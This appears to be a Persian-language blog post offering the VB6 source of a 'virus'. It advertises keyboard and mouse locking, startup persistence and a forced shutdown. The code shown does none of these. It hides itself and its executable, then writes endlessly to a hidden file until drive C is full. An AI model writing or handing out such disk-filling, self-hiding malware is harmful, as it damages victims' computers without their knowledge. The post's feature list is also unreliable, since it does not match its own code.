سلام.سورس یک ویروس رو براتون میزارم با این مسخصات:

1- صفحه کلید و موس قفل میشه.

2- خودش رو به استارت آپ میرسونه.

3- بعد از 30 ثانیه کامپیوتر خاموش میشه.

4- یک صفحه هم به کاربر نشون میده....

در ادامه مطلب(بدون درخواست عضویت)

من سورس یک ویروس رو براتون میزارم با این مسخصات:

1- صفحه کلید و موس قفل میشه.

2- خودش رو به استارت آپ میرسونه.

3- بعد از 30 ثانیه کامپیوتر خاموش میشه.

4- یک صفحه هم به کاربر نشون میده.

Dim m
Private Sub Form_Load()
On Error Resume Next
Dim a As Integer
Dim s As Integer
Form1.Hide
App.TaskVisible = False
m = App.Path + "" + "project1.exe"
Print m
SetAttr m, vbHidden + vbSystem
a = FreeFile
Open "C:Hacker4906.txt" For Output As #a
Shell "attrib +h +s C:Hacker4906.txt"
For s = 1 To 2 Step 0
On Error Resume Next
Print #a, "********* http://programming-vb6.rozblog.com *********"
Next
Close
End Sub

این کد باعث میشه حافظه درایو سی پر بشه بدون اینکه کاربر بتونه برنامه رو ببینه یا حذف کنه و بعد از اجرا برنامه پنهان میشه